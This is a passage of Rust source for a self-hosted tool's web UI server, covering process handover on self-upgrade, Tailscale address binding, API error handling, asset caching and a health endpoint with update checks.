1805        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1806        // and Ctrl-C in the old terminal must not reach the successor.
1807        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1808    }
1809    let child = cmd.spawn().context("start the successor")?;
1810    Ok(child.id())
1811}
1812
1813/// File under `<home>` the successor's output is appended to.
1814const WEB_LOG: &str = "web.log";
1815
1816/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1817/// stored by an earlier `notify_one` is consumed by the first poll, so the
1818/// signal is never missed and never wakes a second time.
1819async fn wait_for_handover(signal: &Notify) {
1820    signal.notified().await;
1821}
1822
1823/// Serve the UI independently from scheduler and execution workers.
1824/// A restart releases its listener before starting the successor.
1825pub async fn serve(opts: Opts) -> Result<()> {
1826    // Capture before self-replacement: current_exe may later name a removed
1827    // image on Linux or the renamed old image on Windows.
1828    crate::worker::remember_current_executable()?;
1829    let executable = std::env::current_exe().context("find the installed web executable")?;
1830    let (addr, warning) = resolve_bind(&opts.bind);
1831    if let Some(warning) = warning {
1832        tracing::warn!("{warning}");
1833    }
1834
1835    // Process-global, and therefore set exactly once, here: the report route
1836    // must never emit escape sequences into a browser, and toggling the flag
1837    // per request would race with a concurrent request rendering its own
1838    // report. Startup is the only moment at which no request can observe the
1839    // change. Nothing in the server turns colour back on.
1840    report::set_color(false);
1841
1842    let repo = normalize_default_repo(opts.repo).await;
1843    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1844    // The listener and periodic checker share one upgrade gate and state.
1845    let home = ui.home.clone();
1846    let admissions = Arc::clone(&ui.admissions);
1847    // Settles a progress record a predecessor left non-terminal - either this
1848    // *is* the successor `spawn_successor` started, or the previous process
1849    // died mid-handover. Before the router starts answering, so the very
1850    // first `/api/health` a phone gets from this process already reflects it.
1851    updater::reconcile_after_restart(&home);
1852    updater::log_step(
1853        &home,
1854        &format!(
1855            "web process started (version {}); handover log {}, successor output {}",
1856            env!("CARGO_PKG_VERSION"),
1857            updater::log_path(&home).display(),
1858            home.join(WEB_LOG).display()
1859        ),
1860    );
1861    updater::spawn_watchdog(home.clone());
1862    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1863    // `spawn_update_check` does at startup only ever runs once: after that,
1864    // `/api/health`'s `update` field - and the phone's "Update & restart"
1865    // button, which reads the very same cache - would stay frozen on
1866    // whatever that single check found, no matter how many releases ship
1867    // afterwards. The periodic checker below keeps it current and is
1868    // cancelled when the listener finishes.
1869    let port = if opts.port == 0 {
1870        std::env::var(RESTART_PORT_ENV)
1871            .ok()
1872            .and_then(|value| value.parse::<u16>().ok())
1873            .filter(|port| *port != 0)
1874            .unwrap_or(0)
1875    } else {
1876        opts.port
1877    };
1878    let socket = SocketAddr::new(addr, port);
1879    let listener = bind_waiting(socket).await?;
1880    let bound = listener.local_addr().context("read bound web address")?;
1881    let port = bound.port();
1882    let url = format!("http://{bound}");
1883    tracing::info!(
1884        "magi web UI on {url} - there is no authentication, so anyone who can \
1885         reach this address can file and hold tasks: the tailnet is the \
1886         security boundary"
1887    );
1888    // A legacy predecessor may request first-migration scheduler startup.
1889    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1890        ui.start_detached_loop()
1891            .await
1892            .map_err(|e| anyhow::anyhow!(e.message))?;
1893    }
1894    if opts.open {
1895        // The URL alone on stdout, for a caller that wants to open it. magi
1896        // does not spawn a browser: on the machine this usually runs on there
1897        // is no display, and a failed launch would be the only output.
1898        println!("{url}");
1899    }
1900
1901    // On its own task, so nothing this function awaits can stop the address
1902    // being answered. `hand_over` is where it is given up.
1903    let recheck_ui = ui.clone();
1904    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
1905    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
1906    let interrupted = async {
1907        if tokio::signal::ctrl_c().await.is_err() {
1908            // No handler on this platform, so there is no signal to act on.
1909            // Never resolving is the safe answer: a failed registration must
1910            // not masquerade as the operator asking for a shutdown and take
1911            // the UI down on startup.
1912            std::future::pending::<()>().await;
1913        }
1914    };
1915    let handover = wait_for_handover(&HANDOVER);
1916    let outcome = tokio::select! {
1917        joined = &mut served => match joined {
1918            Ok(outcome) => outcome.context("serve the web UI"),
1919            Err(e) => Err(e).context("the task serving the web UI ended"),
1920        },
1921        () = interrupted => {
1922            recheck.abort();
1923            tracing::info!("shutting down the web UI; detached workers continue");
1924            close_admissions(&admissions).await;
1925            served.abort();
1926            let _ = served.await;
1927            Ok(())
1928        }
1929        () = handover => {
1930            recheck.abort();
1931            let successor_home = home.clone();
1932            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1933        }
1934    };
1935    recheck.abort();
1936    let _ = recheck.await;
1937    updater::log_step(
1938        &home,
1939        &match &outcome {
1940            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1941            Err(e) => format!("serve: returning an error: {e:#}"),
1942        },
1943    );
1944    outcome
1945}
1946
1947/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1948/// process's own working directory is not a git checkout at all - the
1949/// checkout [`repos::discover_verified`] finds instead.
1950///
1951/// Only the unmodified default is ever replaced: an operator who named a
1952/// directory outright, git checkout or not, gets exactly that directory
1953/// back, and the same story downstream (a talk whose briefing embeds a
1954/// non-git directory, and an agent that has to ask the operator where the
1955/// real repository is) that has always told them so - substituting a guess
1956/// for an explicit answer would be a second, silent opinion about what they
1957/// meant. There is no instruction or task text yet to match against this
1958/// early, so only [`repos::discover_verified`]'s own-repository tier can
1959/// ever settle this - the hint tier never fires here.
1960///
1961/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1962/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1963/// or a git installation that is broken in exactly the way that made the
1964/// original `canonical` check above fail too - so it is re-checked with
1965/// `git::toplevel` before it is ever used in place of the operator's own
1966/// directory.
1967async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1968    if repo != FsPath::new(".") {
1969        return repo;
1970    }
1971    let Ok(canonical) = repo.canonicalize() else {
1972        return repo;
1973    };
1974    if git::toplevel(&canonical).await.is_ok() {
1975        return repo;
1976    }
1977    let Some(home) = dirs::home_dir() else {
1978        return repo;
1979    };
1980    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1981        Some(found) => {
1982            tracing::info!(
1983                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1984                canonical.display(),
1985                found.path.display(),
1986                found.reason,
1987            );
1988            found.path
1989        }
1990        None => repo,
1991    }
1992}
1993
1994/// Close new ingress and finish only transactions publishing durable work.
1995/// The writer waits for owned admission guards, not task or chat turn leases.
1996async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1997    *admissions.write().await = true;
1998}
1999
2000/// Restart only the scheduler and web listener, never their execution workers.
2001/// The old listener must be fully released before the successor is started.
2002async fn hand_over(
2003    home: &FsPath,
2004    admissions: &tokio::sync::RwLock<bool>,
2005    served: tokio::task::JoinHandle<std::io::Result<()>>,
2006    successor: impl FnOnce() -> Result<u32>,
2007) -> Result<()> {
2008    close_admissions(admissions).await;
2009    if let Some(mut progress) = updater::read_progress(home) {
2010        progress.advance(updater::Stage::Restarting);
2011        progress.detail =
2012            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2013        updater::write_progress_logged(home, &progress);
2014    }
2015    updater::log_step(
2016        home,
2017        "restarting scheduler without parking execution workers",
2018    );
2019    let scheduler = daemon::restart_detached(home).await;
2020    if let Err(error) = &scheduler {
2021        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2022        updater::log_warn(
2023            home,
2024            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2025        );
2026    }
2027    updater::log_step(home, "releasing the web listener");
2028    served.abort();
2029    let _ = served.await;
2030    updater::log_step(home, "web listener released; starting the successor");
2031    match successor() {
2032        Ok(pid) => {
2033            updater::log_step(home, &format!("successor started, pid {pid}"));
2034            scheduler
2035        }
2036        Err(e) => {
2037            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2038            Err(e)
2039        }
2040    }
2041}
2042
2043/// Resolve `--bind` to an address, plus a warning when the answer is not what
2044/// the operator asked for.
2045///
2046/// Split out from [`serve`] because the interesting half - deciding whether
2047/// Tailscale gave us something usable - is testable without opening a socket.
2048pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2049    match bind {
2050        Bind::Addr(addr) => (*addr, None),
2051        Bind::Auto => match tailscale_ip() {
2052            Ok(ip) => (IpAddr::V4(ip), None),
2053            Err(why) => (
2054                IpAddr::V4(Ipv4Addr::LOCALHOST),
2055                Some(format!(
2056                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2057                     local-only and a phone cannot reach it; start Tailscale \
2058                     or pass --bind <addr>"
2059                )),
2060            ),
2061        },
2062    }
2063}
2064
2065/// This machine's Tailscale IPv4, or why there is not one.
2066///
2067/// `tailscale ip -4` is a local call against the running daemon and returns in
2068/// milliseconds, so it is fine to make it synchronously before the server
2069/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2070/// CGNAT block Tailscale assigns from, and anything else on that output would
2071/// be a different tool answering.
2072fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2073    let out = std::process::Command::new("tailscale")
2074        .args(["ip", "-4"])
2075        .quiet()
2076        .output()
2077        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2078    if !out.status.success() {
2079        let why = String::from_utf8_lossy(&out.stderr);
2080        let why = why.trim();
2081        return Err(format!(
2082            "`tailscale ip -4` failed ({}){}",
2083            out.status,
2084            if why.is_empty() {
2085                String::new()
2086            } else {
2087                format!(": {why}")
2088            }
2089        ));
2090    }
2091    String::from_utf8_lossy(&out.stdout)
2092        .lines()
2093        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2094        .find(is_tailnet)
2095        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2096}
2097
2098/// Is this address in the CGNAT block Tailscale hands out from?
2099fn is_tailnet(ip: &Ipv4Addr) -> bool {
2100    let o = ip.octets();
2101    o[0] == 100 && (64..=127).contains(&o[1])
2102}
2103
2104/// What every handler returns. Spelled out because `Result` in this crate is
2105/// `anyhow::Result`, and a handler's error is a status code as much as a
2106/// message.
2107type ApiResult<T> = std::result::Result<T, ApiError>;
2108
2109/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2110#[derive(Debug)]
2111struct ApiError {
2112    status: StatusCode,
2113    message: String,
2114    text_reason: Option<crate::question_delivery::UnavailableReason>,
2115}
2116
2117impl ApiError {
2118    /// The client asked for something malformed.
2119    fn bad_request(message: impl Into<String>) -> Self {
2120        Self {
2121            text_reason: None,
2122            status: StatusCode::BAD_REQUEST,
2123            message: message.into(),
2124        }
2125    }
2126
2127    /// No such run or task.
2128    fn not_found(message: impl Into<String>) -> Self {
2129        Self {
2130            text_reason: None,
2131            status: StatusCode::NOT_FOUND,
2132            message: message.into(),
2133        }
2134    }
2135
2136    /// Someone else owns the thing the client wants to change.
2137    /// Re-badge an error whose default mapping is wrong for this route.
2138    fn with_status(mut self, status: StatusCode) -> Self {
2139        self.status = status;
2140        self
2141    }
2142
2143    /// A rules violation from a domain type, reported as the caller's fault.
2144    /// `Question::answer` rejects an unoffered choice, and that is a bad
2145    /// request, not a server error.
2146    fn bad_request_from(e: anyhow::Error) -> Self {
2147        Self::bad_request(format!("{e:#}"))
2148    }
2149
2150    fn conflict(message: impl Into<String>) -> Self {
2151        Self {
2152            text_reason: None,
2153            status: StatusCode::CONFLICT,
2154            message: message.into(),
2155        }
2156    }
2157
2158    /// Our fault, or the disk's.
2159    fn internal(message: impl Into<String>) -> Self {
2160        Self {
2161            text_reason: None,
2162            status: StatusCode::INTERNAL_SERVER_ERROR,
2163            message: message.into(),
2164        }
2165    }
2166}
2167
2168impl From<anyhow::Error> for ApiError {
2169    /// Errors from `queue` and `run` carry their context chain, and the whole
2170    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2171    /// value at line 3" is a message an operator can act on, and there is no
2172    /// secret in a path on a single-user tailnet.
2173    fn from(e: anyhow::Error) -> Self {
2174        Self::internal(format!("{e:#}"))
2175    }
2176}
2177
2178impl IntoResponse for ApiError {
2179    fn into_response(self) -> Response {
2180        let mut body = serde_json::json!({ "error": self.message });
2181        if let Some(reason) = self.text_reason {
2182            body["code"] = serde_json::json!("question_text_unavailable");
2183            body["reason"] = serde_json::json!(reason);
2184        }
2185        (self.status, Json(body)).into_response()
2186    }
2187}
2188
2189/// Run a handler's filesystem work off the executor.
2190///
2191/// Every route that touches the disk goes through here rather than each one
2192/// arguing about whether its own read is small enough. Uniform because the
2193/// expensive case is not rare: `run.json` for a finished competition holds
2194/// every judgement, deliberation turn and review round, so listing a few
2195/// hundred runs is megabytes of parsing, and the executor threads doing it are
2196/// the same ones serving the change stream of every other connected phone.
2197async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2198where
2199    T: Send + 'static,
2200{
2201    #[cfg(test)]
2202    let job = request_cost::carry(job);
2203    match tokio::task::spawn_blocking(job).await {
2204        Ok(result) => result,
2205        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2206    }
2207}
2208
2209/// Bulk readers have a bounded, separate execution lane. A cold health
2210/// index or multiple slow list clients cannot occupy the pool serving detail.
2211async fn bulk_blocking<T>(
2212    slots: Arc<tokio::sync::Semaphore>,
2213    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2214) -> ApiResult<T>
2215where
2216    T: Send + 'static,
2217{
2218    let permit = slots
2219        .acquire_owned()
2220        .await
2221        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2222    let (send, receive) = tokio::sync::oneshot::channel();
2223    #[cfg(test)]
2224    let job = request_cost::carry(job);
2225    let runtime = tokio::runtime::Handle::current();
2226    std::thread::Builder::new()
2227        .name("web-bulk".into())
2228        .spawn(move || {
2229            let _permit = permit;
2230            // Capacity observations schedule their independent blocking job.
2231            let _runtime = runtime.enter();
2232            let _ = send.send(job());
2233        })
2234        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2235    receive
2236        .await
2237        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2238}
2239
2240/// Cache policy for the three compiled-in front-end files.
2241///
2242/// The whole interface is `include_str!`ed into the binary, so its content
2243/// changes only when the binary does - and a phone that keeps a copy is
2244/// welcome to, right up until the deck is replaced. Without a single cache
2245/// header, browsers were free to invent their own policy, and one did:
2246/// yukimemi's phone went on showing "Candidates must be folded before
2247/// deleting. Run `magi fold` first." - a sentence deleted two releases
2248/// earlier - from a run detail served by a deck that no longer contained it.
2249/// The delete button he was told about was right there, and unreachable.
2250///
2251/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2252/// every time, the answer is a 304 costing one small round trip while the
2253/// deck is unchanged, and the moment it is replaced the tag differs and the
2254/// new interface arrives. Correctness over bytes - this is one file of a few
2255/// tens of kilobytes on a tailnet, and being a version behind is not a
2256/// cosmetic problem when the difference is whether a button exists.
2257const ASSET_CACHE: &str = "no-cache, must-revalidate";
2258
2259/// `ETag` for the compiled-in assets, distinct per build.
2260///
2261/// The version alone would leave a locally built deck - `cargo install
2262/// --path .` twice at the same version, which is the normal way to iterate -
2263/// serving a stale tag for changed bytes. The build timestamp is what makes
2264/// two builds of `0.3.0` differ.
2265fn asset_etag() -> &'static str {
2266    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2267        format!(
2268            "\"{}-{}\"",
2269            env!("CARGO_PKG_VERSION"),
2270            // Length is a cheap, deterministic stand-in for a hash: the
2271            // three files are compiled in together, so any edit to any of
2272            // them almost certainly changes the total, and a rebuild is what
2273            // this needs to track rather than every possible byte pattern.
2274            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2275        )
2276    });
2277    &TAG
2278}
2279
2280/// Headers for a compiled-in asset of `mime`.
2281fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2282    [
2283        (header::CONTENT_TYPE, mime),
2284        (header::CACHE_CONTROL, ASSET_CACHE),
2285        (header::ETAG, asset_etag()),
2286    ]
2287}
2288
2289/// Serve a compiled-in asset, answering `304` when the client already has it.
2290///
2291/// axum does not compare `If-None-Match` for us, and a header the server sets
2292/// but never honours is worse than none: the phone revalidates on every load
2293/// and is handed the whole file back each time. Doing the comparison is what
2294/// makes `must-revalidate` cost one small round trip rather than the
2295/// interface.
2296fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2297    let tag = asset_etag();
2298    let known = headers
2299        .get(header::IF_NONE_MATCH)
2300        .and_then(|v| v.to_str().ok())
2301        // A revalidating client may send several, and a proxy may weaken the
2302        // tag to `W/"..."`; matching on containment covers both without
2303        // parsing the grammar.
2304        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2305    if known {
2306        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2307    }
2308    (asset_headers(mime), body).into_response()
2309}
2310
2311async fn index(headers: header::HeaderMap) -> Response {
2312    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2313}
2314
2315async fn app_css(headers: header::HeaderMap) -> Response {
2316    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2317}
2318
2319async fn app_js(headers: header::HeaderMap) -> Response {
2320    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2321}
2322
2323/// What `/api/health` answers.
2324#[derive(Debug, Serialize)]
2325struct HealthView {
2326    version: &'static str,
2327    home: String,
2328    queue_rev: u64,
2329    runs_rev: u64,
2330    /// The same revisions [`events`] streams for the question and talk
2331    /// stores.
2332    ///
2333    /// Here because this route is what the front end falls back to when the
2334    /// change stream is not up - it re-polls health on a timer and on wake, and
2335    /// takes the revisions from the answer. Without these the fallback
2336    /// compares `undefined` against `undefined` for both stores, decides
2337    /// nothing moved, and a phone with a dead stream never learns that a
2338    /// question was asked or that a talk took a turn. `queue_rev` and
2339    /// `runs_rev` above have always been here for exactly this reason; the rule
2340    /// is that every revision the stream carries, this route carries too.
2341    questions_rev: u64,
2342    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2343    talks_rev: u64,
2344    /// See [`HealthView::questions_rev`]. The notification centre's store.
2345    notifications_rev: u64,
2346    /// Notifications nobody has read yet: the bell's badge before
2347    /// `/api/notifications` has answered.
2348    notifications_unread: usize,
2349    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2350    /// is not on disk anywhere, so a phone with no change stream has no other
2351    /// way to notice that the loop it is waiting on was started from another
2352    /// device.
2353    loop_rev: u64,
2354    /// Runs on disk whose state this build cannot parse - almost always a
2355    /// schema bump, occasionally a run killed mid-write.
2356    ///
2357    /// Reported because the list silently skips them, and "no competitions
2358    /// yet" is a lie when six of them are sitting in the runs directory. The
2359    /// terminal deck learned the same lesson: a run that fails to parse must
2360    /// not disappear from the count.
2361    runs_unreadable: usize,
2362    /// The disk, and what the runs and their worktrees occupy on it.
2363    ///
2364    /// This is the incident the janitor exists for: magi alone put 30 GB into
2365    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2366    /// is exactly where the operator learns "the disk is the constraint" -
2367    /// the diagnosis that a run is being held for want of space has to be
2368    /// checkable on the same screen.
2369    disk: Option<serde_json::Value>,
2370    /// Questions nobody has answered yet, including ones an owner talked
2371    /// back on and is now waiting for the agent's reply to. A round trip
2372    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2373    /// while the ball is in the agent's court - see
2374    /// [`crate::ask::Questions::count_open`].
2375    questions_open: usize,
2376    /// Of those, how many actually need the owner right now: open, and not
2377    /// [`crate::ask::Question::waiting_on_agent`].
2378    ///
2379    /// The one number that means "nothing will happen until a human acts" -
2380    /// a parked run consumes nothing and progresses never - and the count the
2381    /// ask bar, the nav badge and the document title fall back to before
2382    /// `/api/questions` has answered, so those notification channels clear
2383    /// the instant the owner asks back and reappear the instant the agent
2384    /// replies, instead of sitting lit for however long the agent thinks.
2385    questions_needs_owner: usize,
2386    daemon: DaemonView,
2387    /// The independently controllable scheduler, as `/api/loop` reports it.
2388    ///
2389    /// Here so a phone that has just woken needs one request to know whether
2390    /// anything is going to happen at all: `daemon` says a loop is alive
2391    /// somewhere, and this says whether it is one this UI can stop.
2392    #[serde(rename = "loop")]
2393    looping: LoopView,
2394    /// Whether a release newer than this build is known, and which.
2395    ///
2396    /// From [`updater::Checker::cached_update`] - the same throttled state the
2397    /// CLI's `notify` mode banners from - never a live check: this route is
2398    /// polled every few seconds, and a live check on each poll would spend
2399    /// GitHub's rate limit before the operator finished reading the strip.
2400    update: UpdateView,
2401    /// The self-upgrade this deck last set in motion, or `null` before the
2402    /// first one. Read off disk, so the successor can report what its
2403    /// predecessor started.
2404    upgrade: Option<UpgradeProgressView>,
2405    /// Detached jobs survive replacement of this web process. Each reports
2406    /// its own immutable executable generation rather than the web version.
2407    jobs: Vec<WorkerView>,
2408    upgrade_request_error: Option<UpgradeRequestFailure>,
2409}
2410
2411/// Public execution metadata only. Job payloads contain private configuration
2412/// and must never be returned by the health endpoint.
2413#[derive(Debug, Serialize)]
2414struct WorkerView {
2415    id: String,
2416    kind: String,
2417    key: String,
2418    pid: Option<u32>,
2419    status: crate::worker::Status,
2420    generation: String,
2421    version: Option<String>,
2422    queue_owned: bool,
2423}
2424
2425impl From<crate::worker::Job> for WorkerView {
2426    fn from(job: crate::worker::Job) -> Self {
2427        let queue_owned = job.kind == "task"
2428            && job
2429                .payload
2430                .get("standalone")
2431                .and_then(serde_json::Value::as_bool)
2432                != Some(true);
2433        Self {
2434            id: job.id,
2435            kind: job.kind,
2436            key: job.key,
2437            pid: job.pid,
2438            status: job.status,
2439            generation: job.generation,
2440            version: job.version,
2441            queue_owned,
2442        }
2443    }
2444}
2445
2446/// What `/api/health` knows about a release newer than this build.
2447///
2448/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2449/// is already the newest" from "never checked" - both are `None` - and the
2450/// phone needs to tell those apart to decide whether the deck can be trusted
2451/// to have an opinion at all.
2452#[derive(Debug, Clone, Serialize)]
2453struct UpdateView {
2454    /// A newer release is known to exist.
2455    available: bool,
2456    /// Its tag, when `available`.
2457    to: Option<String>,
2458}
2459
2460/// [`updater::Progress`] as `/api/health` reports it.
2461#[derive(Debug, Serialize)]
2462struct UpgradeProgressView {
2463    trigger: updater::UpgradeTrigger,
2464    stage: updater::Stage,
2465    from: String,
2466    to: Option<String>,
2467    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2468    /// the step it is finishing before the address is handed over.
2469    waiting_on: Option<String>,
2470    started_at: Timestamp,
2471    updated_at: Timestamp,
2472    detail: Option<String>,
2473    /// Seconds the stage has outlived its allowance, when it has - see
2474    /// [`updater::stall`]. `null` while the stage is moving normally.
2475    stuck_for_secs: Option<i64>,
2476    /// Which kind of stuck: `never_entered` (hand_over left no record of
2477    /// starting) or `stopped_beating`. `null` when not stuck.
2478    stuck_kind: Option<updater::StallKind>,
2479    /// `hand_over` is alive and waiting on the loop: however long that takes,
2480    /// it is not an overdue upgrade.
2481    handover_alive: bool,
2482}
2483
2484/// Whether [`run_update_recheck`] may act at all this tick.
2485///
2486/// The same two conditions [`updater::Checker::new`] and
2487/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2488/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2489/// GitHub from this process" - on a button press or on a timer alike.
2490fn should_spawn_recheck(cfg: &Update) -> bool {
2491    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2492}
2493
2494/// Whether this tick should actually reach the network, once checking itself
2495/// is allowed.
2496///
2497/// An upgrade already in flight must not be raced by a check that discovers
2498/// a *newer* release while one is still installing - a phone watching
2499/// `/api/health` would see the answer change out from under the upgrade it
2500/// already asked for. Past that, [`updater::Checker::should_check`] is the
2501/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2502/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2503/// polling period, is what keeps this task's network use to at most once per
2504/// `[update] interval` regardless of how often it wakes up.
2505fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2506    if progress.is_some_and(|p| !p.stage.terminal()) {
2507        return false;
2508    }
2509    checker.should_check()
2510}
2511
2512/// How long [`run_update_recheck`] sleeps before its next wake-up.
2513///
2514/// A fraction of the configured `[update] interval` rather than a fixed
2515/// number: a fixed sleep longer than a short custom interval would leave the
2516/// deck waiting on its own wake-up rather than on `should_check`, so an
2517/// operator who set `interval = "1m"` to make the UI catch up quickly would
2518/// not see that take effect until the next restart - exactly the bug this
2519/// task exists to fix, just moved one level down. Scaling with the interval
2520/// keeps the wake-up prompt relative to what was actually configured, while
2521/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2522/// still what caps the network calls themselves at one per interval,
2523/// regardless of how often this fires.
2524fn recheck_poll_period(cfg: &Update) -> Duration {
2525    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2526}
2527
2528#[derive(Debug, PartialEq, Eq)]
2529enum AutoUpgradeDecision {
2530    Skip(&'static str),
2531    Wait,
2532    Trigger,
2533}
2534
2535fn auto_upgrade_decision(
2536    cfg: &Update,
2537    disabled: bool,
2538    in_motion: bool,
2539    busy: bool,
2540    tag: &str,
2541    failed: Option<&str>,
2542) -> AutoUpgradeDecision {
2543    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2544        AutoUpgradeDecision::Skip("disabled")
2545    } else if in_motion {
2546        AutoUpgradeDecision::Skip("upgrade already in progress")
2547    } else if failed == Some(tag) {
2548        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2549    } else if busy {
2550        AutoUpgradeDecision::Wait
2551    } else {
2552        AutoUpgradeDecision::Trigger
2553    }
2554}
2555
2556/// Refresh the shared cache and optionally request the same handover as the UI.
2557async fn run_update_recheck(ui: Arc<Ui>) {
2558    loop {
2559        let cfg = match Config::discover(&ui.repo, None) {
2560            Ok((cfg, _)) => cfg,
2561            Err(e) => {
2562                updater::log_warn(
2563                    &ui.home,
2564                    &format!("auto-upgrade: config unavailable: {e:#}"),
2565                );
2566                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2567                continue;
2568            }
2569        };
2570        if should_spawn_recheck(&cfg.update)
2571            && let Some(checker) = updater::Checker::new(&cfg.update)
2572        {
2573            let progress = updater::read_progress(&ui.home);
2574            let mut latest = checker.cached_update();
2575            if update_recheck_due(&checker, progress.as_ref()) {
2576                match checker.newer_release().await {
2577                    Ok(found) => latest = found,
2578                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2579                }
2580            }
2581            if cfg.update.auto_restart
2582                && let Some(latest) = latest
2583            {
2584                let response =
2585                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2586                updater::log_step(
2587                    &ui.home,
2588                    &format!("auto-upgrade: request status {}", response.status()),
2589                );
2590            }
2591        }
2592        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2593    }
2594}
2595
2596/// [`UpdateView`] from the same throttled, disk-only state
2597/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2598/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2599/// no cached state at all, which is correct: an operator who turned checking
2600/// off gets no opinion, not a stale one.
2601fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2602    let default;
2603    let cfg = match cfg {
2604        Some(cfg) => cfg,
2605        None => {
2606            default = Config::default();
2607            &default
2608        }
2609    };
2610    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2611    match latest {
2612        Some(latest) => UpdateView {
2613            available: true,
2614            to: Some(latest.tag_name),
2615        },
2616        None => UpdateView {
2617            available: false,
2618            to: None,
2619        },
2620    }
2621}
2622
2623/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2624/// from the parked run's own state when the stage is
2625/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2626/// already on disk in `run.json`, so this reads them fresh rather than
2627/// trusting whatever was true the moment the park was requested.
2628fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2629    let now = Timestamp::now();
2630    let lease = updater::read_lease(&ui.home);
2631    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2632    let run_id = alive
2633        .and_then(|l| l.parked_run.as_deref())
2634        .or(progress.parked_run.as_deref());
2635    let parking = progress.stage == updater::Stage::Parking;
2636    let waited = alive.map_or_else(String::new, |l| {
2637        let secs = updater::waited_secs(l, now);
2638        format!(" (waited {} min so far)", secs / 60)
2639    });
2640    let run_text = run_id
2641        .filter(|_| parking)
2642        .map(|id| match read_run(&ui.runs, id).ok() {
2643            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2644            None => format!("run {id} is finishing"),
2645        });
2646    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2647        .filter(|t| parking && !t.is_empty())
2648        .map(|t| format!("{t} finishing"));
2649    let waiting_on = match (run_text, talks_text) {
2650        (None, None) => None,
2651        (run, talks) => {
2652            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2653            Some(format!(
2654                "{} before the address is handed over{waited}",
2655                parts.join(" and ")
2656            ))
2657        }
2658    };
2659    let detail = progress
2660        .detail
2661        .clone()
2662        .or_else(|| updater::read_note(&ui.home, &progress));
2663    let stalled = updater::stall(&progress, lease.as_ref(), now);
2664    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2665    UpgradeProgressView {
2666        trigger: progress.trigger,
